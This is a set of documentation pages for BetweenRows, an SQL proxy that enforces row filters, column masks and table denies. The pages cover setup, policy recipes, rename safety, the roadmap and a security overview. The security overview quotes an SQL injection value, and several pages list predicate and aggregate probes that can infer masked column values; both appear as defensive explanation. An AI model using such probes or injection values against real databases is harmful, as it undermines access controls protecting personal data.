* Even the column's existence is sensitive — it should be absent from `information_schema`
* You need to block **predicate probing** (`WHERE ssn = '123-45-6789'`) — masks don't block WHERE predicates; they see raw values
* You need to block **aggregate inference** (`AVG(salary)`, `COUNT(DISTINCT ssn)`) — aggregates can leak statistical properties even through masks

**Rule of thumb:** when in doubt, start with `column_deny`. You can always relax to `column_mask` later. Going the other direction (mask → deny) never causes access regressions.

→ Detailed caveats: [Known Limitations](/operations/known-limitations)

## Decision functions: the escape hatch

For policy gating logic too complex for a SQL expression — time-based access, multi-attribute business rules, query-shape inspection — attach a [decision function](/guides/decision-functions). The function runs in a WASM sandbox and returns `{ fire: true/false }` to control whether the policy applies.

Decision functions have access to a richer context than template variables: user roles, session time, data source metadata, and (in query mode) the tables, columns, and structure of the current query.

→ Full guide: [Decision Functions](/guides/decision-functions)
→ Comparison: [Glossary → Template expressions vs. decision functions](/reference/glossary#template-expressions-vs-decision-functions)

## See also

* [Policies guide](/guides/policies/) — practical: which type, tutorials, structural shape, validation rules
* [Template Expressions](/reference/template-expressions) — expression syntax and variable types
* [Architecture](/concepts/architecture) — the two-plane design and request lifecycle
* [Threat Model](/concepts/threat-model) — the full attack-vector catalog with defenses
* [Glossary](/reference/glossary) — standardized terminology

---

---
url: /start/quickstart.md
description: >-
  Install BetweenRows, connect a data source, write a policy, and verify it — in
  under 15 minutes.
---

# Quickstart

Get BetweenRows running, connect an upstream PostgreSQL, create a user with a tenant attribute, write a row filter policy, and verify it works through psql and the audit log. Each step links to a detailed guide if you want the full picture.

::: tip Prerequisites
You need Docker and access to a PostgreSQL database (local or remote). If you don't have one handy, the [demo stack](/reference/demo-schema#setup) brings up both BetweenRows and a pre-seeded PostgreSQL in one command.
:::

## 1. Start BetweenRows

```sh
docker run -d --name betweenrows \
  -e BR_ADMIN_PASSWORD=changeme \
  -p 5434:5434 -p 5435:5435 \
  -v betweenrows_data:/data \
  ghcr.io/getbetweenrows/betweenrows:0.16.2
```

Port 5434 is the SQL proxy (where your users connect). Port 5435 is the admin UI and REST API. The `-v` flag persists the admin database and encryption keys — do not omit it.

→ Full options: [Docker installation guide](/installation/docker)

## 2. Sign in to the admin UI

Open <http://localhost:5435> and log in as `admin` / `changeme`.

![BetweenRows admin login screen](/screenshots/quickstart-login-v0.14.png)

::: tip
Pin your Docker tag to a specific version (`:0.16.2`, not `:latest`). Breaking changes between minor versions are called out in the [changelog](https://github.com/getbetweenrows/betweenrows/blob/main/CHANGELOG.md).
:::

## 3. Add a data source

Go to **Data Sources → Create**. Enter your PostgreSQL connection details (host, port, database, username, password), select an SSL mode, and click **Test Connection**. Once the test passes, save.

![Configured data source in the admin UI](/screenshots/quickstart-add-datasource-v0.14.png)

→ Full options: [Data Sources guide](/guides/data-sources) — covers every field, access modes, credentials handling, and multi-datasource patterns.

## 4. Discover the catalog

On your new data source, click **Discover Catalog**. Select which schemas, tables, and columns to expose through the proxy. Anything you don't select is invisible to users — BetweenRows defaults to an allowlist model.

![Catalog discovery wizard with schema and table selection](/screenshots/quickstart-catalog-discovery-v0.15.png)

→ Full options: [Data Sources guide → Catalog discovery](/guides/data-sources#catalog-discovery)

## 5. Create a user and a tenant attribute

1. Go to **Attribute Definitions → Create**. Define a `tenant` attribute with value type `string` and allowed values `acme`, `globex`, `stark` (or whatever your tenants are).

2. Go to **Users → Create**. Create a user named `alice` with a password. Edit alice and set her `tenant` attribute to `acme`.

3. On the data source page, grant `alice` access by adding her in the **User Access** section.

::: info Admin ≠ data access
Being an admin does **not** grant data plane access. Every user starts with zero data access and must be explicitly granted access to each data source.
:::

→ Full options: [Users & Roles guide](/guides/users-roles) · [User Attributes guide](/guides/attributes)

## 6. Write a row filter policy

Go to **Policies → Create**. Set:

* **Name:** `tenant-isolation`
* **Type:** `row_filter`
* **Targets:** schemas `*`, tables `*`
* **Filter expression:** `org = {user.tenant}`

Save the policy. Then assign it to your data source with scope **All users**.

This single policy ensures every user sees only the rows where `org` matches their `tenant` attribute.

![Row filter policy editor with tenant isolation expression](/screenshots/quickstart-policy-editor-v0.15.png)

→ Full options: [Row Filters guide](/guides/policies/row-filters) · [Template Expressions reference](/reference/template-expressions)

::: tip Wondering why policies compose this way?
See the [Policy Model](/concepts/policy-model) for the philosophy — zero-trust defaults, deny-wins, and visibility-follows-access.
:::

## 7. Connect with psql and inspect the audit log

Connect through the proxy using the data source name as the database name:

```sh
psql "postgresql://alice:YourPassword@127.0.0.1:5434/your-datasource"
```

Run a query:

```sql
SELECT DISTINCT org FROM orders;
```

Alice should see only `acme` rows. Create a second user with a different `tenant` attribute (e.g. `bob` → `globex`) and verify they see different rows.

Then open **Query Audit** in the admin UI to see what happened: the original SQL, the rewritten SQL (with the injected `WHERE org = 'acme'`), and which policies were applied.

![Query audit entry showing rewritten SQL with injected WHERE clause](/screenshots/quickstart-audit-entry-v0.15.png)

→ Full options: [Audit & Debugging guide](/guides/audit-debugging)

## Next steps

* **[Multi-Tenant Isolation](/guides/recipes/multi-tenant-isolation)** — the flagship use case at scale, with multiple tenants and bypass-resistance verification
* **[Column Masks](/guides/policies/column-masks)** — redact SSNs, emails, and PII while keeping columns queryable
* **[Column Allow & Deny](/guides/policies/column-allow-deny)** — control which columns are visible per user or role
* **[Policy Model](/concepts/policy-model)** — the philosophy behind how policies compose
* **[Threat Model](/concepts/threat-model)** — the full security vectors and how BetweenRows defends against them

---

---
url: /guides/recipes.md
description: >-
  Applied patterns that combine BetweenRows features to solve common real-world
  access control problems.
---

# Recipes

Recipes are worked examples that combine BetweenRows features to solve concrete real-world problems. Where the [feature guides](/guides/data-sources) explain each feature on its own, recipes show how to assemble them into the solutions users actually reach for.

Each recipe follows the same shape:

* **Problem** — the real-world need the recipe addresses
* **Ingredients** — which BetweenRows features the recipe uses
* **Solution** — step-by-step walkthrough with concrete policies, attributes, and queries
* **Why this works** — how the solution maps to the policy model invariants
* **Variations** — common tweaks and extensions
* **Pitfalls** — naïve approaches that look right but don't work, and why
* **Related** — adjacent patterns

## Available recipes

* **[Multi-Tenant Isolation with Attributes](./multi-tenant-isolation)** — one `row_filter` policy plus one user attribute scales to any number of tenants. The flagship BetweenRows use case.
* **[Per-User Exceptions to Role-Level Denies](./deny-exceptions)** — grant one user in a role access to a column that's denied for the rest of the role, using decision functions and user attributes — without weakening the deny-wins invariant.

## More recipes coming

A running list of patterns we plan to document as recipes:

* **Break-glass / emergency access** — temporary attribute flips with a full audit trail
* **Time-based access windows** — decision functions using `ctx.session.time.now`
* **Progressive disclosure by seniority** — masked for juniors, visible for seniors
* **Per-environment data visibility** — dev sees scrubbed values, prod sees real data
* **Cross-tenant support access** — how a support user gets read access across tenants without breaking single-tenant patterns
* **Decision function debugging** — using the audit log and decision function results to diagnose why a policy fired or didn't

## Have a question? Open an issue.

If you're trying to figure out how to model a specific access control need and aren't sure which features to reach for, [open an issue on GitHub](https://github.com/getbetweenrows/betweenrows/issues) and describe your situation. We'll help you find the right pattern — pointing you to an existing recipe if one fits, or working through the approach with you and queueing a new recipe if not.

"How do I do X with BetweenRows?" is a welcome issue type. Use-case questions directly shape which recipes get written next, so don't hesitate to ask.

---

---
url: /operations/rename-safety.md
description: >-
  What breaks when you rename a data source or schema alias, what doesn't, and
  the safe rename procedure.
---

# Rename Safety

BetweenRows uses user-facing names — data source names and schema aliases — as identifiers in connection strings, SQL queries, and decision function context. Renaming them is a **breaking change** for anything that references the old name. This page explains what breaks, what doesn't, and how to rename safely.

## What breaks on a data source rename

The data source `name` is what users put in their connection string as the database name:

```
postgresql://alice:secret@proxy:5434/<datasource-name>
```

Changing it breaks:

| What breaks | Why |
|---|---|
| **Connection strings** | Every user and application must update `dbname=<new-name>` |
| **Stored SQL in applications** | Any code that hardcodes the database name in connection logic |
| **BI tool configurations** | Tableau, Metabase, DBeaver data sources reference the old name |
| **Decision function JS** | Functions that check `ctx.session.datasource.name` or `ctx.query.tables[*].datasource` |
| **Audit log continuity** | Old audit entries have the old name (denormalized at write time); new entries have the new name. Queries spanning the rename show both. |

## What breaks on a schema alias rename

If you change how an upstream schema is aliased in the catalog, it breaks:

| What breaks | Why |
|---|---|
| **User SQL** | `SELECT * FROM old_schema.orders` → "schema not found" |
| **Policy targets** | Policies using `schemas: ["old_name"]` stop matching (but `schemas: ["*"]` still works) |
| **Decision function JS** | Functions checking `ctx.query.tables[*].schema` |

## What does NOT break

| What survives | Why |
|---|---|
| **Policy enforcement** | Policies are assigned by data source UUID and match via the catalog, not the name. A rename does not affect which policies fire. |
| **User access grants** | Grants reference the data source by UUID. |
| **Role assignments** | Same — UUID-based. |
| **Catalog selections** | The saved catalog references upstream schema/table/column names, which don't change when you rename the BetweenRows alias. |

## Safe rename procedure

1. **Announce the rename** to all users and application owners. Give them the new name and a migration window.
2. **Drain active connections.** Ask users to disconnect or wait for idle timeout (`BR_IDLE_TIMEOUT_SECS`, default 900s).
3. **Rename** the data source in the admin UI (edit → change name → save).
4. **Update all connection strings** in applications, BI tools, and scripts.
5. **Update policy targets** if any use explicit schema names that changed (not needed for wildcard `"*"` targets).
6. **Update decision functions** if any reference the old name in JS logic.
7. **Verify** by connecting with the new name and running a query. Check the audit log for the new name.
8. **Re-enable traffic.**

::: warning
There is no "rename alias" feature that redirects the old name to the new one. The rename is immediate and the old name stops working. Plan for a brief outage during the migration window.
:::

## See also

* [Data Sources](/guides/data-sources) — full data source configuration guide
* [Troubleshooting](/operations/troubleshooting) — "connection closed unexpectedly" after a rename

---

---
url: /about/report-an-issue.md
description: >-
  How to report bugs, request features, and disclose security vulnerabilities
  for BetweenRows. Security problems must go through the private vulnerability
  reporting form, not public issues.
---

# Report an Issue

BetweenRows is maintained by a small team, and feedback from early users directly shapes what we build next — reports and requests are genuinely welcome. Different kinds of feedback go through different channels; pick the one that matches what you have.

## Security vulnerabilities

**Do not open a public GitHub issue for security problems.** Filing a public issue for a vulnerability means an attacker can read it before a fix ships.

Use GitHub's private vulnerability reporting form:

👉 **[github.com/getbetweenrows/betweenrows/security/advisories/new](https://github.com/getbetweenrows/betweenrows/security/advisories/new)**

Reports submitted through the form are visible only to project maintainers. See [SECURITY.md](https://github.com/getbetweenrows/betweenrows/blob/main/SECURITY.md) for the full disclosure policy — what to include, what to expect, scope, and credit.

## Bugs and unexpected behavior

Open a public GitHub issue:

👉 **[github.com/getbetweenrows/betweenrows/issues/new](https://github.com/getbetweenrows/betweenrows/issues/new)**

What helps us reproduce and fix it:

* **Proxy version** — check the admin UI footer, or run `curl http://localhost:5435/health`
* **Component** — proxy, admin UI, admin REST API, migration, CLI
* **What you did** — minimum SQL, API call, or UI steps to trigger the issue
* **What you expected** — the correct outcome, in your words
* **What happened instead** — actual output, error message, or screenshot
* **Logs (if relevant)** — proxy stdout/stderr, query audit log entry, admin audit log entry

Before filing, a quick search through existing [open issues](https://github.com/getbetweenrows/betweenrows/issues) often finds a match — upvoting an existing report is more useful than a duplicate.

## Feature requests and design discussions

Also GitHub Issues, same form as bugs. Tell us:

* **Your use case** — what are you actually trying to accomplish?
* **Why the current behavior does not work** — is a feature missing, awkward, or subtly wrong?
* **A rough shape of the ideal outcome** — not a full design, just enough for us to understand what "good" looks like to you.

Non-trivial features benefit from a design conversation before any PR is written. If you have strong opinions on the shape, opening an issue to talk it through first saves rework.

## Questions and how-to

Start with the documentation:

* **Search** — the top nav has a search box that indexes every page.
* **Guides** — the [Guides](/guides/data-sources) section covers the common workflows end-to-end.
* **Reference** — the [Reference](/reference/configuration) section has the exhaustive field tables and expression syntax.
* **LLM-friendly bundle** — if you prefer to ask your own chat model, the full docs are available as a single text file at [/llms-full.txt](/llms-full.txt).

If the docs do not answer your question, that itself is a useful signal — [open a GitHub issue](https://github.com/getbetweenrows/betweenrows/issues) describing what you were looking for and where you looked. We'll fill in the gap: either pointing you to something you missed, or extending the docs to cover your case. "I couldn't find how to do X" is a welcome issue type, and those reports directly shape which pages get written or expanded next.

---

---
url: /about/roadmap.md
description: >-
  What's shipped, what's in progress, and what's planned for BetweenRows. Not a
  commitment — a window into where the project is heading.
---

# Roadmap

::: info
This roadmap is a reflection of current thinking, not a contract. Items can be reordered, reshaped, or dropped based on user feedback. File an issue on GitHub if you care about a specific item — the signal genuinely shapes priority.
:::

## Shipped

* **Row filters** — `row_filter` policies with template variables (`{user.*}`) and typed literal substitution.
* **Column masks** — `column_mask` policies with arbitrary SQL mask expressions.
* **Column allow / column deny** — explicit allowlist and denylist policy types.
* **Table deny** — hide tables from the user's virtual catalog with the 404-not-403 principle.
* **RBAC** — role hierarchies (DAG), cycle detection, depth cap, soft delete, inherited assignments.
* **ABAC** — schema-first user attribute definitions with `string`, `integer`, `boolean`, and `list` value types.
* **Decision functions** — JavaScript functions compiled to WASM via Javy, evaluated at query time via wasmtime with fuel limits and per-call isolation.
* **Query audit log** — every query logged with original SQL, rewritten SQL, and policies applied (success, denied, error, write-rejected).
* **Admin audit log** — append-only record of every management-plane mutation, written atomically with the mutation.
* **YAML policy-as-code** — export and import all policies as YAML via the REST API, with dry-run support.
* **Attribute definitions with `allowed_values` and `default_value`** — enum-constrained attributes with sensible missing-value defaults.
* **Catalog discovery and sync** — allowlist-based catalog with drift detection on re-sync.
* **Two-plane architecture** — data plane (5434) and management plane (5435) on separate ports with independent authentication.

## Next up (actively being worked or scheduled soon)

* **Shadow mode** — per-policy dry-run state. A shadow policy logs what it *would* have done without actually blocking or masking. Removes the "fear of breaking prod" adoption blocker. Each policy gets an `action_status: enforce | shadow` field.
* **Module cache for decision functions** — pre-compile WASM modules per `(decision_function_id, version)` and cache them in the policy hook instead of recompiling from bytes on every evaluation. Reduces per-query WASM overhead from milliseconds to microseconds.
* **WASM linear memory limit** — configurable per-function memory cap to complement the existing fuel limit.
* **Decision function integration tests** — end-to-end tests that exercise decision functions through the full proxy stack (real WASM evaluation via pgwire), in addition to the existing unit tests.
* **Password reset flow** — UI-driven forgot/reset password. Currently the only recovery path is the `proxy user create --admin` CLI rescue.
* **First-class PostgreSQL admin backend** — make the admin plane's Postgres support a tested, supported option so teams can run HA deployments with an external admin DB. Today SQLite is the only tested backend.
* **Audit log retention configuration** — operator-configurable TTL and/or row cap for `query_audit_log` and `admin_audit_log`, with optional export-before-prune. Today operators run their own cron scripts against the admin DB.

## Governance workflows

A per-data-source `governance_workflow` setting controls how governance state (schemas, policies, decision functions, assignments) is authored, reviewed, and deployed. Three tiers:

* **None** (default, today's behavior) — edit in UI, changes take effect immediately.
* **Draft** — edits go to a staged sandbox and must be deployed to go live. Review/preview before production.
* **Code** — governance lives as YAML in a git repo, reviewed via PRs, deployed via CI/CD. Admin UI is read-only for governance on this data source.

Natural progression: start with none, graduate to draft as a team grows, move to code when mature.

**No hybrid.** Each data source picks one workflow. Supporting UI and code simultaneously creates a two-source-of-truth sync nightmare.

## Tag-Based Access Control (TBAC)

* **Policy templates** — separate transformation logic from policy definitions. Update logic once, many policies benefit.
* **Metadata tagging layer** — apply tags (`pii`, `financial`, `deprecated`) to data sources, schemas, tables, and columns. Tags flow down from parent to child unless overridden.
* **Tag-based policy matching** — target policies via `"tag:pii"` instead of names.
* **Auto-classification** — pattern matchers (regex, Luhn, NLP) in the discovery job that automatically tag sensitive data.

## Advanced features on the horizon

### Security & governance

* **Security lineage / sticky security** — ensure security rules stick to data as it moves through CTEs, subqueries, and views (the enforcement is already scan-level, but this is about provenance tracking in the audit log).
* **Data domains** — group data sources into domains (Finance, HR) for delegated administration.
* **Delegated security** — per-domain admin permissions that do not grant query access.
* **Stealth mode** — hide injected filter expressions from `EXPLAIN` and audit logs. Addresses the `EXPLAIN` leakage gap in the current release.
* **JIT (just-in-time) access** — temporary, windowed policy assignments (e.g., 2-hour elevation) triggered by approval workflows.
* **Impact analysis engine** — "what-if" simulation of a policy change against historical query logs to identify breaking changes before enforcement.
* **Policy impersonation (sudo mode)** — "Run as user X" tool to verify policy enforcement in real time.

### Identity integration

* **User attribute sync from IDP** — pull ABAC attributes from identity claims at connect time instead of maintaining them in BetweenRows' own database.
* **Purpose-based access control (PBAC)** — require a validated claim (e.g., a ticket ID from a ticketing system) to unlock specific data lenses. Move beyond roles to purposes.

### Data operations

* **Clean room joins** — blind joins on a sensitive key where the key cannot be leaked in results or filters.
* **Canary rollout** — test new policies against a subset of users (e.g., 10% traffic) before enforcing broadly.

## How to influence the roadmap

1. **File an issue on [GitHub](https://github.com/getbetweenrows/betweenrows/issues)** describing your use case and why the current behavior doesn't work.
2. **Upvote existing issues** that match your needs.
3. **Propose a design** in a GitHub Discussion for non-trivial features. We'd rather talk through the shape before a PR lands.
4. **Send a PR** for well-scoped improvements — see [Install from source](/installation/from-source) and `CONTRIBUTING.md`.

Feedback from early users has an outsized effect on prioritization right now. The project is small; the signal is loud.

---

---
url: /guides/policies/row-filters.md
description: >-
  Write row_filter policies to restrict which rows each user can see, with
  template variables and composition patterns.
---

# Row Filters

A `row_filter` policy injects a `WHERE` clause into every query on matched tables. The filter evaluates against raw (unmasked) data and is applied at the logical plan level — it cannot be bypassed by aliases, CTEs, subqueries, JOINs, or UNIONs.

## Purpose and when to use

Use row filters whenever different users should see different subsets of rows from the same table — by tenant, department, region, clearance level, or any attribute-driven dimension.

## Field reference

| Field | Value | Notes |
|---|---|---|
| `policy_type` | `row_filter` | |
| `targets.schemas` | Required | Which schemas to match (supports globs) |
| `targets.tables` | Required | Which tables to match (supports globs) |
| `targets.columns` | Not used | — |
| `definition.filter_expression` | Required | SQL expression using column references and `{user.KEY}` template variables |

## Step-by-step tutorial

This tutorial uses the [demo schema](/reference/demo-schema). The goal: each user sees only their tenant's rows.

### 1. Prerequisites

Ensure you have:

* A data source with catalog discovered (e.g., `demo_ecommerce`)
* A `tenant` attribute defined (value type: `string`)
* Users `alice` (tenant: `acme`) and `bob` (tenant: `globex`) with data source access

→ Setup: [Demo Schema](/reference/demo-schema) · [User Attributes](/guides/attributes)

### 2. Create the policy

Go to **Policies → Create**:

* **Name:** `tenant-isolation`
* **Type:** `row_filter`
* **Targets:** schemas `*`, tables `*` (applies to all tables with an `org` column)
* **Filter expression:** `org = {user.tenant}`

![Row filter policy editor with tenant isolation expression](/screenshots/row-filters-policy-editor-v0.15.png)

### 3. Assign the policy

On the data source page, assign `tenant-isolation` with **scope: All users**.

![Assigning a row filter policy to a data source with all-users scope](/screenshots/row-filters-assignment-v0.15.png)

### 4. Verify

Connect as alice and bob:

```sh
psql 'postgresql://alice:Demo1234!@127.0.0.1:5434/demo_ecommerce' \
  -c "SELECT DISTINCT org FROM orders"
# → acme

psql 'postgresql://bob:Demo1234!@127.0.0.1:5434/demo_ecommerce' \
  -c "SELECT DISTINCT org FROM orders"
# → globex
```

### 5. Check the audit log

Open **Query Audit** in the admin UI. Alice's query shows:

* **Original:** `SELECT DISTINCT org FROM orders`
* **Rewritten:** `SELECT DISTINCT org FROM orders WHERE org = 'acme'`
* **Policies applied:** `tenant-isolation (v1)`

![Query audit entry showing the injected WHERE clause from tenant isolation](/screenshots/row-filters-audit-v0.15.png)

## Patterns and recipes

### Per-tenant isolation (string)

```sql
org = {user.tenant}
```

The most common pattern. One policy covers all tables with an `org` column.

### Clearance-level filtering (integer)

```sql
sensitivity_level <= {user.clearance}
```

Users see rows up to their clearance level. A user with `clearance: 3` sees levels 1, 2, and 3.

### Department allowlist (list)

```sql
department IN ({user.departments})
```

A user with `departments: ["engineering", "security"]` sees rows in either department. An empty list expands to `NULL` → zero rows.

### Date-range restriction

```sql
created_at >= '2024-01-01'
```

Static filters work too — no template variable required.

### Combined filter (AND)

```sql
org = {user.tenant} AND status != 'deleted'
```

A single expression can combine attribute-based and static conditions.

## Composition

### Multiple row filters → AND

If two row filter policies match the same table, their expressions are AND-combined. A row must satisfy **both** filters to be visible.

Example: `tenant-isolation` (`org = {user.tenant}`) + `active-only` (`status = 'active'`) → user sees only active rows in their tenant.

### Row filters + column masks

Row filters evaluate **raw** values, even when a column is masked by another policy. If `salary` is masked to `0` but a row filter checks `salary > 50000`, the filter sees the real salary — the mask only affects what appears in query results.

This composition is safe by design: the filter runs against truthful data, and the mask runs against the projection.

### Row filters in JOINs

Each table in a JOIN is independently filtered by its own row filter policies. Filtering is per-table, not global. A filter on `orders` does not affect `customers` in the same JOIN — each table's filter applies to its own `TableScan`.

### Row filters + table deny

If a `table_deny` hides a table, row filters on that table are irrelevant — the table doesn't exist from the user's perspective.

## Limitations and catches

* **Bypass-immune by construction.** Filters are applied at the `TableScan` level in the logical plan. No query shape — aliases, CTEs, subqueries, JOINs, UNIONs — can escape them. This is a core security guarantee.
* **Multiple filters narrow, never expand.** AND-combination means adding a filter can only reduce visible rows. There is no OR-combination mode.
* **NULL attribute → zero rows.** If `{user.tenant}` resolves to NULL (user lacks the attribute, no default set), then `org = NULL` is never true. The user sees nothing. This is fail-closed by design. See [User Attributes → Missing attribute behavior](/guides/attributes#missing-attribute-behavior).
* **Empty list attribute → zero rows.** `department IN ({user.departments})` with an empty list becomes `department IN (NULL)` → zero rows.
* **Filter expressions are validated at save time.** Unsupported SQL syntax (e.g., correlated subqueries, window functions) returns 422 immediately. See [Template Expressions → Supported SQL syntax](/reference/template-expressions#supported-sql-syntax).

→ Full list: [Known Limitations](/operations/known-limitations)

## Troubleshooting

* **Filter not applied** — check: policy `is_enabled`, assigned to the user's data source, target schemas/tables match the queried table, user has data source access.
* **Zero rows when expecting data** — check: user has the required attribute set, attribute value matches the data, no conflicting row filter AND-combining to empty. Inspect the **rewritten query** in the audit log.
* **Filter applied to wrong tables** — check target patterns. `schemas: ["*"], tables: ["*"]` matches everything; a table without the referenced column (e.g., no `org` column) will error at query time.

→ Full diagnostics: [Audit & Debugging](/guides/audit-debugging) · [Troubleshooting](/operations/troubleshooting)

## See also

* [Policies overview](/guides/policies/) — which type to use when
* [Multi-Tenant Isolation](/guides/recipes/multi-tenant-isolation) — the flagship row filter use case at scale
* [Template Expressions](/reference/template-expressions) — full expression syntax and NULL semantics
* [User Attributes](/guides/attributes) — how to define and assign the attributes that drive filters

---

---
url: /concepts/security-overview.md
description: >-
  For security and compliance reviewers — what BetweenRows is designed to
  protect against, what it is not, trust boundaries, and the deployment
  checklist.
---

# Security Overview

This page is a curation layer for the security and compliance audience. It does not make new guarantees — it frames how BetweenRows thinks about its threat model and links to the pages where the specific behaviors are documented. If you are evaluating BetweenRows for a security review, read this page first, then follow the links.

## What BetweenRows is designed to protect against

* **Unauthorized row access.** A user scoped to a subset of rows (by tenant, region, clearance) cannot query rows outside that subset — even if they are a savvy SQL author. Row filters are injected into the DataFusion logical plan at the `TableScan` level, so aliases, CTEs, subqueries, and JOINs cannot bypass them. See [Policy Model](/concepts/policy-model) → *row\_filter*.

* **Sensitive column exposure.** Columns flagged as `column_deny` are removed from schema metadata and query results. Columns flagged as `column_mask` are replaced with a transformed value. See [Policy Model](/concepts/policy-model) → *column\_deny*, *column\_mask*, and the *when to mask vs when to deny* guidance.

* **Unauthorized table access.** Tables flagged as `table_deny` become invisible in `information_schema.tables` and return a "not found" error on query — indistinguishable from a nonexistent table (the *404-not-403 principle*). See [Policy Model](/concepts/policy-model) → *table\_deny*.

* **SQL injection via user attributes.** Template variables like `{user.tenant}` substitute typed literal values into the parsed expression tree — the user's attribute value never passes through a SQL parser. A tenant attribute containing `' OR '1'='1` produces `org = 'x'' OR ''1''=''1'` (a single escaped literal), not an injection. See [Template variables reference](/reference/template-expressions).

* **Policy bypass via role tampering.** Role hierarchies are protected against cycle creation, excessive depth (max 10 levels), and time-of-check-time-of-use races. Deactivating a role or removing a user from a role immediately invalidates that user's session contexts on active connections — no reconnect required. See [Users & Roles](/guides/users-roles).

* **Privilege separation between admin and data access.** The two planes are structurally separate: different ports (5434 vs 5435), different authentication mechanisms (password vs JWT), different authorization tables. An admin with no `data_source_access` entries and no policy assignments sees zero data through the proxy. See [Architecture](/concepts/architecture) → *Two planes, two ports*.

* **Audit trail integrity.** Every query that reaches the policy layer is audited — success, denied, error, and write-rejected. Every admin mutation (user/role/policy/datasource/attribute create/update/delete) is written inside the same database transaction as the mutation, so there is no window where a mutation can commit without its audit entry.

## What BetweenRows is NOT designed to protect against

::: warning
Be honest with your security reviewers about these. Misrepresenting the threat model is the fastest way to lose trust.
:::

* **Network-level attacks on the proxy host.** BetweenRows does not terminate TLS on the data plane (pgwire is plaintext in the current release). Deploy the proxy on a private network, behind a TLS-terminating load balancer, or inside a zero-trust mesh. Do not expose port 5434 directly to the internet.

* **Compromised admin credentials.** Anyone with the admin password can rewrite every policy. Treat the admin credential as root: strong password, limited distribution, rotate on staff changes, use the CLI to provision additional admin accounts rather than sharing one.

* **A compromised upstream database.** BetweenRows reduces the blast radius of a compromised *application* credential or a misconfigured BI tool. It does not protect the data at rest, and it provides no defense if the upstream PostgreSQL server itself is compromised.

* **A direct path to the upstream database.** If an attacker can bypass the proxy and connect to the upstream database directly, BetweenRows offers zero protection. The proxy must be the **only** network path to the database. Enforce this with firewall rules, security groups, or private networks.

* **Statistical inference on masked columns.** `column_mask` applies to projection output only. An attacker running `COUNT(DISTINCT ssn)`, `MIN(salary)`/`MAX(salary)`, `STRING_AGG(ssn, ',')`, or `WHERE ssn = '123-45-6789'` can still infer statistical properties of the raw values or test for specific values, because the mask does not affect predicates or aggregates over the raw column. **Use `column_deny` for columns where even statistical inference is unacceptable.** See [Known Limitations](/operations/known-limitations) for the specifics.

* **`EXPLAIN` output leakage.** A user with the ability to run `EXPLAIN` against the proxy may see injected filter expressions and plan structure that would otherwise be hidden. **Currently unmitigated.** Restrict `EXPLAIN` to trusted users upstream of the proxy, or prevent it via a `table_deny`-equivalent mechanism until a dedicated mitigation ships. See [Known Limitations](/operations/known-limitations).

* **Side-channel attacks beyond the 404-not-403 guarantee.** BetweenRows ensures that denied tables return the same error shape as nonexistent tables and that error messages do not leak policy names. Fine-grained timing analysis is not part of the threat model. If timing leakage is a concern for your environment, layer additional mitigations (rate limiting, noise injection) at the network edge.

* **Physical or supply-chain attacks** on the proxy host, the upstream database host, the Docker registry, or the admin user's endpoint device. Standard operational security applies.

## Trust boundaries at a glance

See [Architecture](/concepts/architecture) for the diagram. The short version:

1. **The admin plane is trusted** — anyone who can reach port 5435 and authenticate as an admin can change any policy. Lock it down with network policy, not just passwords.
2. **The data plane is semi-trusted** — authenticated users can run any query, but the proxy rewrites it before execution. An authenticated user who discovers a bypass in the policy engine can escalate, which is why bypass prevention is tested at the `TableScan` level rather than in string rewriting.
3. **The upstream database is trusted** — BetweenRows assumes the upstream is not actively adversarial. If you do not trust the upstream database, BetweenRows is not the right tool.

## Deployment checklist for security reviewers

Use this as a pre-production gate. For the operational setup (Docker tag pinning, encryption key, JWT secret, volume persistence, admin password, upgrade hygiene), follow [Docker](/installation/docker) or [Fly.io](/installation/fly) and [Upgrading](/operations/upgrading) — this list covers only the security-specific items that sit on top of a clean deployment.

* \[ ] **Place the proxy on a private network.** The data plane port (5434) must be reachable only by intended clients. The admin plane port (5435) must be reachable only by admin operators and CI/CD.
* \[ ] **Terminate TLS upstream of the proxy** (load balancer, service mesh, or Cloudflare Tunnel). The current pgwire listener is plaintext.
* \[ ] **Use `access_mode: policy_required`** on every production data source. `open` mode is a dev convenience.
* \[ ] **Restrict `EXPLAIN`** to trusted users or block it upstream. See [Known Limitations](/operations/known-limitations).
* \[ ] **Monitor the query audit log** for `status = denied` and `status = error`. A spike in either can indicate policy misconfiguration or an attack.
* \[ ] **Monitor the admin audit log** for unexpected mutations. Policy creation, role membership changes, and data source access grants are high-signal events.

## Where to go next

* **[Threat Model](/concepts/threat-model)** — the full attack-vector catalog: every known bypass attempt, its defense, and the tests that verify it.
* **[Architecture](/concepts/architecture)** — two-plane design, request lifecycle, trust boundaries in detail.
* **[Policy Model](/concepts/policy-model)** — the philosophy: zero-trust defaults, deny-wins, visibility-follows-access, and how policies compose.
* **[Known Limitations](/operations/known-limitations)** — the full honesty page: predicate probing, EXPLAIN, aggregate inference, and other production trade-offs.
* **[Audit & Debugging](/guides/audit-debugging)** — how to read the audit trail when verifying that policies are enforced as intended.
* **[Multi-tenant isolation guide](/guides/recipes/multi-tenant-isolation)** — the flagship use case, end-to-end. A concrete demonstration that policies cannot be bypassed via aliases, CTEs, or subqueries.

---

---
url: /guides/policies/table-deny.md
description: >-
  Use table_deny policies to make entire tables invisible to specific users or
  roles.
---

# Table Deny

A `table_deny` policy removes an entire table from the user's view. The table disappears from query results, `information_schema`, and `\dt` — the user cannot discover it exists. Queries referencing the table fail with "table not found" (not "access denied"), following the 404-not-403 principle.

## Purpose and when to use

Use table deny when a table should be completely invisible to certain users — e.g., hiding internal `audit_logs` from non-admin users, or restricting `salary_history` to HR.

If you only want to hide specific columns, use [`column_deny`](./column-allow-deny) instead.

## Field reference

| Field | Value | Notes |
|---|---|---|
| `policy_type` | `table_deny` | |
| `targets.schemas` | Required | Supports globs |
| `targets.tables` | Required | Supports globs |
| `targets.columns` | Not used | — |
| `definition` | Not used | Must be absent. |

## Step-by-step tutorial

### Hide an internal table

1. **Create the policy:**
   * **Name:** `hide-internal-metrics`
   * **Type:** `table_deny`
   * **Targets:** schema `public`, table `internal_metrics`

2. **Assign** with scope: All users (or a specific role).

3. **Verify:**

   ```sh
   psql 'postgresql://alice:Demo1234!@127.0.0.1:5434/demo_ecommerce' \
     -c "SELECT * FROM internal_metrics"
   # → ERROR: table "internal_metrics" does not exist
   ```

   The table is gone from `\dt` output too.

## Patterns and recipes

### Deny by glob pattern

```json
{
  "targets": [
    {
      "schemas": ["*"],
      "tables": ["internal_*"]
    }
  ]
}
```

Hides all tables starting with `internal_`.

### Conditional deny with decision functions

